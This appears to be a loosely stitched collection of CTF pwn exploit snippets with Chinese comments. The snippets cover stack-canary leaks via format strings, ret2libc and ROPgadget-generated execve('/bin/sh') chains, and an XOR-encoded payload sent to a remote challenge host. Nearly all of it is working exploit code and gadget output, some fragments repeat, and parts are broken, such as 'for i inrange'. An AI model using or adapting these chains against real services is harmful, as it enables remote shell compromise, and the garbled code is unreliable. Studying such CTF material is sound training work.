io.recvuntil('give u some gift to help u!\n') #gdb.attach(io) #pause() io.sendline('%7$p') #格式化字符串泄露canary canary = int(io.recv(18),16) print('canary',hex(canary))
# 0x0000000000400993 : pop rdi ; ret # 0x0000000000400991 : pop rsi ; pop r15 ; ret # 0x000000000040098d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret # 0x00000000004005f9 : ret
payload = b'a'*(0x20-0x8) +p64(canary) + b'a'*0x8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(return_addr) #payload = payload.ljust(200, 'a') #sub_40063D(v1, 200LL, 10LL); #delimiter = 'Hello,do you want to play a game with me???' io.recvuntil('Pull up your sword and tell me u story!\n') io.sendline(payload)#rop泄露puts地址
#很奇怪为啥第二次不用再泄露canary # io.recvuntil('give u some gift to help u!\n') # io.sendline('%7$p') # canary = int(io.recv(18),16) # print('canary',hex(canary)) #第二次的rop链 payload2 = b'a'*(0x20-0x8) +p64(canary) + b'a'*0x8 + p64(pop_rdi_ret) + p64(bin_addr) + p64(system_addr) io.recvuntil('Pull up your sword and tell me u story!\n') io.sendline(payload2) io.interactive()
payload= b'a'*(0x50+8) + p64(ret_addr) +p64(pop_rdi_addr)+p64(bin_sh)+p64(system)+p64(0) p.sendlineafter('Input your Plaintext to be encrypted\n',payload) p.interactive()
log.info("puts addr is :%x"%puts_addr) s = sgtlibc.Searcher() s.add_condition('puts',puts_addr) s.dump(db_index=2) # search libc , if returns multi-result ,default use index-0's result
log.info("puts addr is :%x"%puts_addr) s = sgtlibc.Searcher() s.add_condition('puts',puts_addr) s.dump(db_index=2) # search libc , if returns multi-result ,default use index-0's result
[+] Gadget found: 0x47f7b1 mov qword ptr [rsi], rax ; ret [+] Gadget found: 0x4040fe pop rsi ; ret [+] Gadget found: 0x449b9c pop rax ; ret [+] Gadget found: 0x444f00 xor rax, rax ; ret
- Step 2 -- Init syscall number gadgets
[+] Gadget found: 0x444f00 xor rax, rax ; ret [+] Gadget found: 0x474c00 add rax, 1 ; ret [+] Gadget found: 0x474c01 add eax, 1 ; ret
- Step 3 -- Init syscall arguments gadgets
[+] Gadget found: 0x4006e6 pop rdi ; ret [+] Gadget found: 0x4040fe pop rsi ; ret [+] Gadget found: 0x449bf5 pop rdx ; ret
- Step 4 -- Syscall gadget
[+] Gadget found: 0x40139c syscall
- Step 5 -- Build the ROP chain
#!/usr/bin/env python3 # execve generated by ROPgadget
from struct import pack
# Padding goes here p = b''
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret p += pack('<Q', 0x00000000006ba0e0) # @ .data p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret p += b'/bin//sh' p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8 p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret p += pack('<Q', 0x00000000006ba0e0) # @ .data p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8 p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8 p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x000000000040139c) # syscall
from ctypes import * from pwn import * #io = process('./pwn') io = remote('node3.anna.nssctf.cn',28324) context(log_level='debug',arch='amd64', os='linux') elf = ELF('./easy_pwn') from struct import pack # Padding goes here p = b'' p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret p += pack('<Q', 0x00000000006ba0e0) # @ .data p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret p += b'/bin//sh' p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8 p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret p += pack('<Q', 0x00000000006ba0e0) # @ .data p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8 p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8 p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret p += p64(59) p += pack('<Q', 0x000000000040139c) # syscall ep = b'' for i inrange(len(p)): ep += p8(ord(p[i:i+1]) ^ 0x66)
payload = b'a'*0x50 + ep io.sendafter(b'Password: \n', payload) io.interactive()
from struct import pack # Padding goes here p = b''
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret p += pack('<Q', 0x00000000004e60e0) # @ .data p += pack('<Q', 0x0000000000458827) # pop rax ; ret p += b'/bin//sh' p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret p += pack('<Q', 0x00000000004e60e8) # @ .data + 8 p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x000000000040264f) # pop rdi ; ret p += pack('<Q', 0x00000000004e60e0) # @ .data p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret p += pack('<Q', 0x00000000004e60e8) # @ .data + 8 p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret p += pack('<Q', 0x00000000004e60e8) # @ .data + 8 p += pack('<Q', 0x4141414141414141) # padding p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000402404) # syscall